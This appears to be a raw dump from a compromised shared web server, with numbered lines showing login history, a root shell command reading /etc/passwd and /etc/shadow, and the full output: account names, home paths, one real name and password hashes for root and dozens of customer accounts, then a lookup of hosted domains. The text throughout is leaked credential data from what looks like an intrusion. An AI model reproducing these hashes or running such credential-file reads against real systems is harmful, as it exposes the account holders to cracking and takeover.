22:18 (03:56) 20465 hak5 pts/1 ip68-110-152-240 Tue Feb 24 18:17 - 18:21 (00:03) 20466 hak5darr pts/0 ip68-110-152-240 Tue Feb 24 02:54 - 02:29 (23:35) 20467 hak5darr pts/0 ip68-110-152-240 Tue Feb 24 02:52 - 02:53 (00:00) 20468 hak5darr pts/0 ip68-110-152-240 Tue Feb 24 02:52 - 02:52 (00:00) 20469 hak5darr pts/0 ip68-110-152-240 Tue Feb 24 02:06 - 02:50 (00:44) 20470 hak5darr pts/0 ip68-110-152-240 Tue Feb 24 02:04 - 02:05 (00:00) 20471 hak5 pts/1 ip68-110-152-240 Mon Feb 23 19:31 - 22:40 (03:08) 20472 root pts/0 wsip-70-169-152- Mon Feb 23 17:33 - 20:07 (02:34) 20473 reboot system boot 2.6.18-92.el5 Mon Feb 23 17:24 (124+17:02) 20474 root pts/0 ip68-110-152-240 Thu Feb 5 22:50 - 23:49 (00:59) 20475 root pts/0 wsip-70-169-152- Wed Feb 4 10:23 - 12:49 (02:26) 20476 root pts/0 209.158.217.33 Tue Feb 3 13:35 - 13:49 (00:13) 20477 root pts/0 wsip-70-169-152- Mon Feb 2 12:46 - 16:22 (03:35) 20478 root pts/0 ip68-110-152-240 Sat Jan 31 10:41 - 13:08 (02:26) 20479 root pts/0 wsip-70-169-152- Fri Jan 30 13:43 - 16:23 (02:39) 20480 root pts/0 wsip-70-169-152- Fri Jan 30 08:44 - 11:20 (02:35) 20481 root pts/1 wsip-70-169-152- Wed Jan 21 13:03 - 13:04 (00:00) 20482 root pts/0 wsip-70-169-152- Wed Jan 21 11:25 - 13:57 (02:32) 20483 root pts/0 ip68-110-152-240 Sat Jan 17 00:26 - 01:58 (01:31) 20484 hak5 pts/0 63.164.47.227 Sun Jan 11 19:36 - 19:36 (00:00) 20485 root pts/0 ip68-110-152-240 Sun Dec 28 15:30 - 15:34 (00:04) 20486 reboot system boot 2.6.18-92.el5 Sat Dec 27 12:02 (182+22:25) 20487 root pts/0 cpe-66-61-3-125. Tue Dec 23 00:28 - 00:32 (00:04) 20488 reboot system boot 2.6.18-92.el5 Tue Dec 23 00:24 (187+10:03) 20489 root pts/0 wsip-70-169-152- Wed Dec 17 15:31 - 15:31 (00:00) 20490 root pts/0 ip68-110-152-240 Tue Dec 16 23:13 - 23:43 (00:29) 20491 root pts/0 wsip-70-169-152- Mon Dec 15 15:42 - 17:56 (02:13) 20492 root pts/0 wsip-70-169-152- Fri Dec 12 10:39 - 10:50 (00:11) 20493 root pts/0 wsip-70-169-152- Thu Dec 11 11:10 - 11:37 (00:27) 20494 root pts/1 wsip-70-169-152- Tue Dec 9 12:11 - 11:16 (23:05) 20495 root pts/0 wsip-70-169-152- Tue Dec 9 12:09 - 14:20 (02:11) 20496 reboot system boot 2.6.18-92.el5 Tue Dec 9 12:02 (200+22:25) 20497 root pts/1 wsip-70-169-152- Tue Dec 9 11:56 - down (00:02) 20498 root pts/0 70.169.152.226 Tue Dec 9 11:28 - 11:58 (00:29) 20499 reboot system boot 2.6.18-92.el5 Tue Dec 9 11:14 (00:45) 20500 root pts/1 70.169.152.226 Tue Dec 9 11:09 - down (00:01) 20501 root pts/1 ip68-110-152-240 Mon Dec 8 19:43 - 22:52 (03:09) 20502 root pts/1 wsip-70-169-152- Fri Dec 5 12:51 - 16:06 (03:15) 20503 root pts/1 wsip-70-169-152- Tue Dec 2 11:04 - 05:23 (18:19) 20504 root pts/1 ip68-110-152-240 Sun Nov 30 13:53 - 23:30 (09:37) 20505 root pts/1 ip68-110-152-240 Fri Nov 28 21:55 - 22:33 (00:38) 20506 root pts/1 ip68-110-152-240 Fri Nov 28 14:33 - 20:00 (05:27) 20507 root pts/1 71-38-119-251.ph Tue Nov 25 19:01 - 19:04 (00:02) 20508 root pts/1 71-38-119-251.ph Tue Nov 25 19:01 - 19:01 (00:00) 20509 root pts/2 ip68-110-152-240 Tue Nov 25 19:00 - 19:03 (00:03) 20510 rickdurk pts/1 71-38-119-251.ph Tue Nov 25 18:51 - 19:00 (00:08) 20511 root pts/1 ip68-110-152-240 Sun Nov 23 23:14 - 23:59 (00:45) 20512 root pts/1 ip68-110-152-240 Sun Nov 23 23:13 - 23:13 (00:00) 20513 root pts/1 ip68-110-152-240 Sat Nov 15 16:17 - 16:37 (00:20) 20514 metroa2z pts/1 ip70-162-234-107 Thu Nov 6 22:42 - 00:54 (02:11) 20515 metroa2z pts/1 ip70-162-234-107 Thu Nov 6 22:31 - 22:42 (00:11) 20516 metroa2z pts/1 ip70-162-234-107 Thu Nov 6 22:28 - 22:29 (00:00) 20517 metroa2z pts/1 ip70-162-234-107 Wed Nov 5 17:03 - 17:48 (00:44) 20518 root pts/1 wsip-70-169-152- Wed Oct 8 07:49 - 08:54 (2+01:04) 20519 root pts/1 wsip-70-169-152- Mon Oct 6 12:05 - 17:13 (1+05:08) 20520 root pts/0 wsip-70-169-152- Thu Sep 18 15:25 - 15:25 (23:59) 20521 root pts/0 wsip-70-169-152- Thu Sep 11 07:32 - 01:59 (18:26) 20522 root pts/0 wsip-70-169-152- Tue Sep 9 10:31 - 15:51 (05:20) 20523 root pts/0 ip68-110-152-240 Fri Sep 5 15:51 - 18:03 (02:12) 20524 root pts/0 wsip-70-169-152- Wed Sep 3 08:06 - 16:44 (1+08:38) 20525 root pts/0 ip68-110-152-240 Tue Sep 2 21:16 - 23:18 (02:02) 20526 root pts/0 wsip-70-169-152- Wed Aug 27 12:20 - 16:03 (03:43) 20527 root pts/0 71-37-217-148.ph Mon Aug 18 13:19 - 14:10 (00:51) 20528 root pts/0 ip68-110-152-240 Sun Aug 17 16:13 - 06:51 (14:37) 20529 reboot system boot 2.6.18-92.el5 Sun Aug 17 16:12 (113+19:58) 20530 root pts/2 ip70-176-166-74. Thu Aug 14 23:03 - 23:14 (00:11) 20531 root pts/0 ip68-110-152-240 Thu Aug 14 23:02 - 23:11 (00:09) 20532 root pts/2 71-37-217-148.ph Mon Aug 11 14:54 - 15:52 (00:58) 20533 root pts/0 71-37-217-148.ph Mon Aug 11 12:29 - 16:39 (04:10) 20534 root pts/0 71-223-146-65.ph Wed Aug 6 16:21 - 16:32 (00:10) 20535 root pts/2 wsip-70-169-152- Thu Jul 31 14:51 - 15:37 (00:45) 20536 root pts/0 71-223-146-65.ph Thu Jul 31 13:02 - 15:02 (02:00) 20537 root pts/0 71-223-146-65.ph Tue Jul 29 19:54 - 20:01 (00:07) 20538 root pts/0 71-223-146-65.ph Tue Jul 29 12:00 - 14:12 (02:12) 20539 root pts/2 cpc1-rdng6-0-0-c Thu Jul 24 05:13 - 05:31 (00:17) 20540 root pts/1 cpc1-rdng6-0-0-c Thu Jul 24 05:13 - 05:31 (00:17) 20541 root pts/2 ip68-110-152-240 Tue Jul 22 23:44 - 00:24 (00:40) 20542 root pts/1 ip68-110-152-240 Tue Jul 22 22:29 - 06:40 (08:11) 20543 root pts/0 wsip-70-169-152- Tue Jul 22 15:02 - 17:14 (3+02:12) 20544 root pts/0 wsip-70-169-152- Tue Jul 22 15:01 - 15:02 (00:01) 20545 root pts/1 wsip-70-169-152- Tue Jul 22 13:04 - 15:15 (02:11) 20546 root pts/0 wsip-70-169-152- Tue Jul 22 12:10 - 14:36 (02:25) 20547 reboot system boot 2.6.18-92.el5 Tue Jul 22 12:09 (140+00:01) 20548 root pts/1 wsip-70-169-152- Tue Jul 22 12:05 - down (00:01) 20549 root pts/0 wsip-70-169-152- Tue Jul 22 11:14 - down (00:53) 20550 root pts/1 wsip-70-169-152- Tue Jul 22 09:37 - 11:48 (02:11) 20551 root pts/0 wsip-70-169-152- Tue Jul 22 07:41 - 09:54 (02:13) 20552 reboot system boot 2.6.18-92.el5 Tue Jul 22 07:40 (04:26) 20553 root pts/0 wsip-70-169-152- Tue Jul 22 07:29 - down (00:08) 20554 root pts/0 71-223-146-65.ph Mon Jul 21 17:35 - 17:36 (00:00) 20555 root pts/2 wsip-70-169-152- Mon Jul 21 15:15 - 17:37 (02:21) 20556 root pts/2 wsip-70-169-152- Mon Jul 21 15:15 - 15:15 (00:00) 20557 root pts/2 71-223-146-65.ph Mon Jul 21 13:05 - 13:52 (00:47) 20558 root pts/0 wsip-70-169-152- Mon Jul 21 13:02 - 15:43 (02:41) 20559 root pts/0 wsip-70-169-152- Mon Jul 21 13:01 - 13:01 (00:00) 20560 root pts/2 wsip-70-169-152- Mon Jul 21 08:45 - 11:00 (02:15) 20561 root pts/1 shell01.dal01.so Mon Jul 21 07:56 - 11:38 (03:42) 20562 root pts/0 wsip-70-169-152- Mon Jul 21 07:48 - 09:59 (02:11) 20563 root pts/0 ip68-110-152-240 Fri Jul 11 00:46 - 01:47 (01:00) 20564 reboot system boot 2.6.18-92.el5 Fri Jul 11 00:46 (11+06:51) 20565 reboot system boot 2.6.18-92.el5 Fri Jul 11 00:07 (00:35) 20566 reboot system boot 2.6.18-92.el5 Thu Jul 10 18:03 (06:02) 20567 20568 wtmp begins Thu Jul 10 18:03:01 2008 20569 root@web02 [~]# cat /etc/passwd /etc/shadow 20570 root:x:0:0:root:/root:/bin/bash 20571 bin:x:1:1:bin:/bin:/sbin/nologin 20572 daemon:x:2:2:daemon:/sbin:/sbin/nologin 20573 adm:x:3:4:adm:/var/adm:/sbin/nologin 20574 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 20575 sync:x:5:0:sync:/sbin:/bin/sync 20576 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 20577 halt:x:7:0:halt:/sbin:/sbin/halt 20578 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 20579 news:x:9:13:news:/etc/news: 20580 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 20581 operator:x:11:0:operator:/root:/sbin/nologin 20582 games:x:12:100:games:/usr/games:/sbin/nologin 20583 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 20584 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 20585 nobody:x:99:99:Nobody:/:/sbin/nologin 20586 dbus:x:81:81:System message bus:/:/sbin/nologin 20587 avahi:x:70:70:Avahi daemon:/:/sbin/nologin 20588 mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 20589 smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 20590 apache:x:48:48:Apache:/var/www:/sbin/nologin 20591 ntp:x:38:38::/etc/ntp:/sbin/nologin 20592 nscd:x:28:28:NSCD Daemon:/:/sbin/nologin 20593 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 20594 rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin 20595 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin 20596 nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin 20597 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 20598 pcap:x:77:77::/var/arpwatch:/sbin/nologin 20599 rpm:x:37:37::/var/lib/rpm:/sbin/nologin 20600 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 20601 xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin 20602 sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin 20603 cpanel:x:32001:32001::/usr/local/cpanel:/bin/false 20604 named:x:25:25:Named:/var/named:/sbin/nologin 20605 mysql:x:100:103:MySQL server:/var/lib/mysql:/bin/bash 20606 mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/false 20607 cpanelhorde:x:32003:32005::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/ 20608 bin/noshell 20609 cpanelphpmyadmin:x:32004:32006::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/loc 20610 al/cpanel/bin/noshell 20611 cpanelphppgadmin:x:32005:32007::/var/cpanel/userhomes/cpanelphppgadmin:/usr/loc 20612 al/cpanel/bin/noshell 20613 cpanelroundcube:x:32006:32008::/var/cpanel/userhomes/cpanelroundcube:/usr/local 20614 /cpanel/bin/noshell 20615 rvadmin:x:32007:32009::/home/rvadmin:/usr/local/cpanel/bin/noshell 20616 securervskin:x:32008:32010::/home/rvadmin:/sbin/nologin 20617 divergen:x:32009:32011::/home/divergen:/usr/local/cpanel/bin/noshell 20618 azsmile:x:32011:32013::/home/azsmile:/usr/local/cpanel/bin/noshell 20619 bigrv4le:x:32013:32015::/home2/bigrv4le:/usr/local/cpanel/bin/noshell 20620 bizpartn:x:32015:32017::/home/bizpartn:/usr/local/cpanel/bin/noshell 20621 brannock:x:32016:32018::/home/brannock:/usr/local/cpanel/bin/noshell 20622 calmdrag:x:32017:32019::/home/calmdrag:/usr/local/cpanel/bin/noshell 20623 cgerling:x:32020:32022::/home/cgerling:/bin/bash 20624 charming:x:32021:32023::/home/charming:/usr/local/cpanel/bin/noshell 20625 chewonth:x:32022:32024::/home/chewonth:/usr/local/cpanel/bin/noshell 20626 comefind:x:32023:32025::/home2/comefind:/usr/local/cpanel/bin/noshell 20627 cosmetic:x:32024:32026::/home/cosmetic:/usr/local/cpanel/bin/noshell 20628 cpshout:x:32025:32027::/home/cpshout:/usr/local/cpanel/bin/noshell 20629 curly:x:32026:32028::/home2/curly:/usr/local/cpanel/bin/noshell 20630 dcsguys:x:32027:32029::/home/dcsguys:/usr/local/cpanel/bin/noshell 20631 drfergus:x:32028:32030::/home/drfergus:/usr/local/cpanel/bin/noshell 20632 drkhaksa:x:32029:32031::/home2/drkhaksa:/usr/local/cpanel/bin/noshell 20633 ellis:x:32031:32033::/home/ellis:/usr/local/cpanel/bin/noshell 20634 fineberg:x:32033:32035::/home/fineberg:/usr/local/cpanel/bin/noshell 20635 fitzy:x:32034:32036::/home2/fitzy:/usr/local/cpanel/bin/noshell 20636 gamingsi:x:32036:32038::/home2/gamingsi:/usr/local/cpanel/bin/noshell 20637 habrown:x:32037:32039::/home2/habrown:/usr/local/cpanel/bin/noshell 20638 hak5:x:32038:32040::/home2/hak5:/bin/bash 20639 hercules:x:32040:32042::/home/hercules:/usr/local/cpanel/bin/noshell 20640 hfcazc:x:32041:32043::/home/hfcazc:/usr/local/cpanel/bin/noshell 20641 hterry3:x:32042:32044::/home2/hterry3:/usr/local/cpanel/bin/noshell 20642 judyhuey:x:32047:32049::/home/judyhuey:/usr/local/cpanel/bin/noshell 20643 justingr:x:32048:32050::/home2/justingr:/usr/local/cpanel/bin/noshell 20644 jwbass:x:32049:32051::/home/jwbass:/usr/local/cpanel/bin/noshell 20645 kamerch:x:32050:32052::/home2/kamerch:/usr/local/cpanel/bin/noshell 20646 lafayett:x:32052:32054::/home/lafayett:/usr/local/cpanel/bin/noshell 20647 linuxjoe:x:32054:32056::/home/linuxjoe:/usr/local/cpanel/bin/noshell 20648 logoall:x:32055:32057::/home/logoall:/bin/bash 20649 madera:x:32056:32058::/home/madera:/usr/local/cpanel/bin/noshell 20650 mlestock:x:32057:32059::/home2/mlestock:/bin/bash 20651 metdent:x:32058:32060::/home2/metdent:/usr/local/cpanel/bin/noshell 20652 milldent:x:32059:32061::/home/milldent:/usr/local/cpanel/bin/noshell 20653 mydtc:x:32060:32062::/home/mydtc:/usr/local/cpanel/bin/noshell 20654 mygarden:x:32061:32063::/home/mygarden:/usr/local/cpanel/bin/noshell 20655 norton:x:32062:32064::/home/norton:/usr/local/cpanel/bin/noshell 20656 otokobos:x:32064:32066::/home/otokobos:/usr/local/cpanel/bin/noshell 20657 paseo:x:32065:32067::/home/paseo:/usr/local/cpanel/bin/noshell 20658 pcidenta:x:32066:32068::/home/pcidenta:/bin/false 20659 pietrzak:x:32068:32070::/home/pietrzak:/usr/local/cpanel/bin/noshell 20660 practice:x:32069:32071::/home/practice:/bin/bash 20661 prospect:x:32070:32072::/home/prospect:/usr/local/cpanel/bin/noshell 20662 qdental:x:32071:32073::/home/qdental:/usr/local/cpanel/bin/noshell 20663 recreal:x:32072:32074::/home/recreal:/usr/local/cpanel/bin/noshell 20664 rickdurk:x:32074:32076::/home/rickdurk:/bin/bash 20665 sadistic:x:32075:32077::/home2/sadistic:/usr/local/cpanel/bin/noshell 20666 scream:x:32076:32078::/home2/scream:/usr/local/cpanel/bin/noshell 20667 sethdiv:x:32077:32079::/home2/sethdiv:/usr/local/cpanel/bin/noshell 20668 sethryde:x:32078:32080::/home2/sethryde:/usr/local/cpanel/bin/noshell 20669 sharpsmi:x:32079:32081::/home/sharpsmi:/usr/local/cpanel/bin/noshell 20670 sladellc:x:32080:32082::/home/sladellc:/usr/local/cpanel/bin/noshell 20671 smilearc:x:32081:32083::/home/smilearc:/usr/local/cpanel/bin/noshell 20672 soundid:x:32083:32085::/home/soundid:/bin/false 20673 stepsess:x:32085:32087::/home/stepsess:/usr/local/cpanel/bin/noshell 20674 swelevat:x:32086:32088::/home/swelevat:/usr/local/cpanel/bin/noshell 20675 swsupers:x:32088:32090::/home/swsupers:/usr/local/cpanel/bin/noshell 20676 trunorth:x:32091:32093::/home/trunorth:/usr/local/cpanel/bin/noshell 20677 valencia:x:32092:32094::/home/valencia:/usr/local/cpanel/bin/noshell 20678 viawest:x:32093:32095::/home2/viawest:/usr/local/cpanel/bin/noshell 20679 vwpaintr:x:32094:32096::/home/vwpaintr:/usr/local/cpanel/bin/noshell 20680 webmedia:x:32096:32098::/home/webmedia:/bin/bash 20681 wmrx:x:32097:32099::/home/wmrx:/bin/bash 20682 wmrxinf:x:32098:32100::/home/wmrxinf:/bin/bash 20683 xnadmin:x:32099:32101::/home2/xnadmin:/usr/local/cpanel/bin/noshell 20684 clamav:x:32100:32102::/home/clamav:/bin/bash 20685 dxssupp:x:32101:32103::/home2/dxssupp:/usr/local/cpanel/bin/noshell 20686 jtv:x:32102:32104::/home2/jtv:/usr/local/cpanel/bin/noshell 20687 pauooool:x:32103:32105::/home2/pauooool:/usr/local/cpanel/bin/noshell 20688 metroa2z:x:32104:32106::/home2/metroa2z:/bin/bash 20689 hak5darren:x:500:500:Darren Kitchen:/home/hak5darren:/bin/bash 20690 dentistu:x:510:510::/home2/dentistu:/usr/local/cpanel/bin/noshell 20691 gamersfe:x:511:511::/home2/gamersfe:/usr/local/cpanel/bin/noshell 20692 logoallp:x:513:513::/home2/logoallp:/bin/bash 20693 patelccc:x:514:514::/home2/patelccc:/usr/local/cpanel/bin/noshell 20694 emporiam:x:515:515::/home2/emporiam:/usr/local/cpanel/bin/noshell 20695 squadsee:x:516:516::/home2/squadsee:/usr/local/cpanel/bin/noshell 20696 leebcor:x:519:519::/home2/leebcor:/usr/local/cpanel/bin/noshell 20697 swimg:x:521:521::/home2/swimg:/usr/local/cpanel/bin/noshell 20698 billherd:x:522:522::/home2/billherd:/usr/local/cpanel/bin/noshell 20699 mclawsci:x:523:523::/home2/mclawsci:/usr/local/cpanel/bin/noshell 20700 samurize:x:527:527::/home2/samurize:/usr/local/cpanel/bin/noshell 20701 root:$1$M0sjvxFW$MaW2hJ4uhWRNnJ9hDuCIP0:14279:0:99999:7::: 20702 bin:*:14070:0:99999:7::: 20703 daemon:*:14070:0:99999:7::: 20704 adm:*:14070:0:99999:7::: 20705 lp:*:14070:0:99999:7::: 20706 sync:*:14070:0:99999:7::: 20707 shutdown:*:14070:0:99999:7::: 20708 halt:*:14070:0:99999:7::: 20709 mail:*:14070:0:99999:7::: 20710 news:*:14070:0:99999:7::: 20711 uucp:*:14070:0:99999:7::: 20712 operator:*:14070:0:99999:7::: 20713 games:*:14070:0:99999:7::: 20714 gopher:*:14070:0:99999:7::: 20715 ftp:*:14070:0:99999:7::: 20716 nobody:*:14070:0:99999:7::: 20717 dbus:!!:14070:0:99999:7::: 20718 avahi:!!:14070:0:99999:7::: 20719 mailnull:!!:14070:0:99999:7::: 20720 smmsp:!!:14070:0:99999:7::: 20721 apache:!!:14070:0:99999:7::: 20722 ntp:!!:14070:0:99999:7::: 20723 nscd:!!:14070:0:99999:7::: 20724 vcsa:!!:14070:0:99999:7::: 20725 rpc:!!:14070:0:99999:7::: 20726 rpcuser:!!:14070:0:99999:7::: 20727 nfsnobody:!!:14070:0:99999:7::: 20728 sshd:!!:14070:0:99999:7::: 20729 pcap:!!:14070:0:99999:7::: 20730 rpm:!!:14070:0:99999:7::: 20731 haldaemon:!!:14070:0:99999:7::: 20732 xfs:!!:14070:0:99999:7::: 20733 sabayon:!!:14070:0:99999:7::: 20734 cpanel:*:14071:::::: 20735 named:!!:14071:::::: 20736 mysql:!!:14071:::::: 20737 mailman:*:14071:::::: 20738 cpanelhorde:*:14071:::::: 20739 cpanelphpmyadmin:*:14071:::::: 20740 cpanelphppgadmin:*:14071:::::: 20741 cpanelroundcube:*:14071:::::: 20742 rvadmin:$1$jDHnmu6Y$8kW7fZeL04DUnpL6nfzkn0:14071:0:99999:7::: 20743 securervskin:!!:14071:0:99999:7::: 20744 divergen:$1$daU1gXyS$IkhrDClI5ZFFyklbWeuW21:14281:0:99999:7::: 20745 azsmile:$1$VeE7yGJr$MpL1cseLp1hPI4AnOFO.h1:14082:0:99999:7::: 20746 bigrv4le:$1$vr_4ITXD$InDRL/nXFbXQpt3WchmvH1:14082:0:99999:7::: 20747 bizpartn:$1$UjDOlgWV$HwMzBV4PK4KeI58mmJ2831:14428:0:99999:7::: 20748 brannock:$1$TD4gjzYk$O7cmr1yPY6EAQ3Rik8F0a0:14082:0:99999:7::: 20749 calmdrag:$1$c_ZkGc_V$jav09/.kdjiG/Mw6m08dM0:14082:0:99999:7::: 20750 cgerling:$1$R.ny1llO$Oe0nOO/GUhySJKHqPYh351:14127:0:99999:7::: 20751 charming:$1$reRPTOyx$6dilZc7gPmFLJ9XF7k//e.:14082:0:99999:7::: 20752 chewonth:$1$rp1fPyzA$TVPQogTpOJBxctnbwQ2jo0:14082:0:99999:7::: 20753 comefind:$1$qL75Tss7$IiwIbIulCRs0PFAbc69231:14082:0:99999:7::: 20754 cosmetic:$1$8O75eo5H$9KXa4eUGCC5l2xDkXMmjY/:14082:0:99999:7::: 20755 cpshout:$1$anvOh5Jd$UW6xpxlRJHoP1tsKnH5Lg1:14082:0:99999:7::: 20756 curly:$1$7_0MHxSZ$hjIzmDnKK5nTA7okq/9T0/:14082:0:99999:7::: 20757 dcsguys:$1$IXCBKETY$k9YtG83fOr2IrfLuQzp0k1:14082:0:99999:7::: 20758 drfergus:$1$ucR7.Vrt$wHVq/lir.SobxpUEGWwwQ1:14201:0:99999:7::: 20759 drkhaksa:$1$RyrWw0rm$Ot86buHfclPlmv1SE88h5.:14082:0:99999:7::: 20760 ellis:$1$GgIROE7B$qQ.pncZmcaBkwOQTQ6kH..:14082:0:99999:7::: 20761 fineberg:$1$iO_k8ShN$D5odZyey4VabZddc7dz0L/:14082:0:99999:7::: 20762 fitzy:$1$5DJypmth$9K06IGZD9sP8zmAD0i3Hp/:14082:0:99999:7::: 20763 gamingsi:$1$qSseskFT$ytXLIcAFLLX4sUQwIkGCB0:14082:0:99999:7::: 20764 habrown:$1$j71p8.BL$FbdlZpH9fBEr2g1qAJQ7Q0:14082:0:99999:7::: 20765 hak5:$1$f1waaEBd$O02gvwF.rTsHr2QmOp4sN1:14082:0:99999:7::: 20766 hercules:$1$Rw2x943q$/2j1ORHHfVDWZ/29KGpnf1:14082:0:99999:7::: 20767 hfcazc:$1$f3vvNcOu$d/TsYQZnQkrP.HmPBFhfO/:14082:0:99999:7::: 20768 hterry3:$1$jlleQgiK$qYL5sLrZyBrLpy9jOyEk.1:14082:0:99999:7::: 20769 judyhuey:$1$gwQ7rKcg$bwPsVS5COWXfocSmyyhhF/:14082:0:99999:7::: 20770 justingr:$1$Vdn_iiNO$k9qAjvzfmqHGfpLfXK8tv.:14082:0:99999:7::: 20771 jwbass:$1$3jo0y_TT$yH9.QtHOvuaIZSSyrB4zs.:14417:0:99999:7::: 20772 kamerch:$1$F2GChrTM$Ic2b8YeVzYjwWRmIvAGGt/:14426:0:99999:7::: 20773 lafayett:$1$VsmnUA2D$1xPXMBv4cAO4xOqDMDR/y/:14082:0:99999:7::: 20774 linuxjoe:$1$Lrbvwsvo$b95utybgmFj/FQun2mOp4.:14082:0:99999:7::: 20775 logoall:$1$ykpkICxb$mxM33WcjzydhnO9AOdYbq/:14368:0:99999:7::: 20776 madera:$1$ASn8FdL3$MKaxrt4mweI5/u4C.2bFc1:14082:0:99999:7::: 20777 mlestock:$1$oxP_U5Vg$/pr1LFJM6UUpDSC1T5zzN0:14082:0:99999:7::: 20778 metdent:$1$2eU1kWAf$4ZzOsSlIQEAXFx9aGiJpg.:14082:0:99999:7::: 20779 milldent:$1$auUNxaXJ$SAKqv7ohZmJLM03WjhEkd0:14082:0:99999:7::: 20780 mydtc:$1$m1ZC20VG$Zs6UNUz8LH2WfeLxCsh3z1:14091:0:99999:7::: 20781 mygarden:$1$75RsHa5/$2tBricF89b0u3lbnD/NEj0:14082:0:99999:7::: 20782 norton:$1$htaT8qUb$mhJZeFwLSI0LNMK0bPJCX/:14102:0:99999:7::: 20783 otokobos:$1$dnbcYu5K$u8XBaq/wpEuc8b63qLrlB/:14246:0:99999:7::: 20784 paseo:$1$JLN1h6ke$8n4Z2Qz8OReukD3RmEKeY0:14082:0:99999:7::: 20785 pcidenta:$1$_SjoOnjf$k.AoKJ3gZ9UwWkALfRy8H.:14082:0:99999:7::: 20786 pietrzak:$1$ZHsYJKTk$dQI9oqoDzCY4HVEa2QaHq1:14082:0:99999:7::: 20787 practice:$1$ZVW2aQqm$r6Q09XxGXfF2E4hIB3602/:14082:0:99999:7::: 20788 prospect:$1$20Iun4NX$X5ASxvEgiInLEok0gJNVf/:14082:0:99999:7::: 20789 qdental:$1$KXnctS83$wSJ6ywubkijA.p3twJSMN/:14082:0:99999:7::: 20790 recreal:$1$XTltXtFh$bPoaE/k2CsMQhkVTwsNnv1:14082:0:99999:7::: 20791 rickdurk:$1$xEwTCdSA$UCyqn.6A1oa9afEGXgodX.:14329:0:99999:7::: 20792 sadistic:$1$Lb8zcTNO$Y1R0iX.Myx0H41MypXpe71:14396:0:99999:7::: 20793 scream:$1$aLDGSJiw$rgFDGCjk5RV0YqwsJcrIe1:14082:0:99999:7::: 20794 sethdiv:$1$rmLvrmXt$f/Bo9ASuhs7G.t.fWLS.w.:14082:0:99999:7::: 20795 sethryde:$1$rWpyZzFk$r3OMFYKBhqRbrXK/w5ieI/:14082:0:99999:7::: 20796 sharpsmi:$1$zTc1e8s3$rrzEB21pz4PQRfLyBfGkW0:14082:0:99999:7::: 20797 sladellc:$1$QELLUnND$zPIP3SZE.6xeO.h8aIOez/:14082:0:99999:7::: 20798 smilearc:$1$ASIMYZoh$nbSDtD8fsEWTsXaPkJaLI1:14082:0:99999:7::: 20799 soundid:!!$1$4SPu8fM8$D8uNW11SnhYQ9CVw51wZA/:14082:0:99999:7::: 20800 stepsess:$1$_WFak0SO$wQpvdV6WBpOVy4qg1oWGN1:14082:0:99999:7::: 20801 swelevat:$1$Q6S00Wcp$k5R/Xt6yRYzfI7fdCh9s31:14082:0:99999:7::: 20802 swsupers:$1$87yyLfHo$GJFIYhIUQkA9ufSnukbEK/:14082:0:99999:7::: 20803 trunorth:$1$m2koc6EK$oQgxgvaMlQd8z212GuQgP0:14082:0:99999:7::: 20804 valencia:$1$KYcBoKLN$viFOOMhympKW497/T2bZ/.:14342:0:99999:7::: 20805 viawest:$1$NT8k4_7k$GYITlWdZjN1ZS6JvoBGi91:14082:0:99999:7::: 20806 vwpaintr:$1$CQefe5bb$KmOY/hhKbQv9Jao76dUhH0:14082:0:99999:7::: 20807 webmedia:$1$rRqFLkP6$w6OJii6o8Uc.CIGY0iZzD.:14368:0:99999:7::: 20808 wmrx:$1$fcrD9RP_$Mmc.vowg7N2TxhEgZBiR30:14355:0:99999:7::: 20809 wmrxinf:$1$ctMFCVpE$QKA36OoKLnzbTFauX0Fz4/:14082:0:99999:7::: 20810 xnadmin:$1$W9tRwfgT$TlOCITN4qZlTAiZ82ClCl0:14082:0:99999:7::: 20811 clamav:!!:14084:0:99999:7::: 20812 dxssupp:$1$jiPGBV7E$3ioQXavyEbiNQGk5EWehg.:14091:0:99999:7::: 20813 jtv:$1$McwnhA5N$jXzv0lalNXUaKdlDKKBhA.:14100:0:99999:7::: 20814 pauooool:$1$XiouCuBu$cBGMBoJUxGVMcvBL0glEV/:14111:0:99999:7::: 20815 metroa2z:$1$vG6Wlayv$eXQHO8oICwn9l6wJQjFgS.:14133:0:99999:7::: 20816 hak5darren:$1$31381996$yQqeT4Nhjx9jYsvbt9Ngf.:14252:::::: 20817 dentistu:$1$27T7FE54$Ef8M.PXIo5MmBnTGnBTeE1:14266:0:99999:7::: 20818 gamersfe:$1$e2ETq5Ap$b9kWLMURydC7WDk8HcYCb1:14295:0:99999:7::: 20819 logoallp:$1$Fa4QSjld$PEMshaZ4MTH5jm0VzuzsI.:14301:0:99999:7::: 20820 patelccc:$1$N1hgSMFq$4IzEP26ygMMVylLoCKOry0:14317:0:99999:7::: 20821 emporiam:$1$bqzEzeWB$/iCrJ4U8hq15l9jnoWp7r/:14335:0:99999:7::: 20822 squadsee:$1$gnGwWboa$KjYtgv2iw5dqdkyS35vc./:14345:0:99999:7::: 20823 leebcor:$1$PSa0lIRk$AP4jlr7ZxilqsTqjjUqz7.:14349:0:99999:7::: 20824 swimg:$1$S3CmovgU$UscADLqx.gLyrMYec58hz/:14355:0:99999:7::: 20825 billherd:$1$bEICkMVT$rscSor.F6/dYgH7OF.wNR1:14356:0:99999:7::: 20826 mclawsci:$1$7cJECw16$bNVOs4RstlIpcP4GpHlbH1:14377:0:99999:7::: 20827 samurize:$1$xs40TjYc$evZG0dv6ZMAJwmOqpneO3.:14391:0:99999:7::: 20828 root@web02 [~]# grep hak /etc/userdomains 20829 wiki.hak5.org: hak5 20830 lebanondds.com: drkhaksa 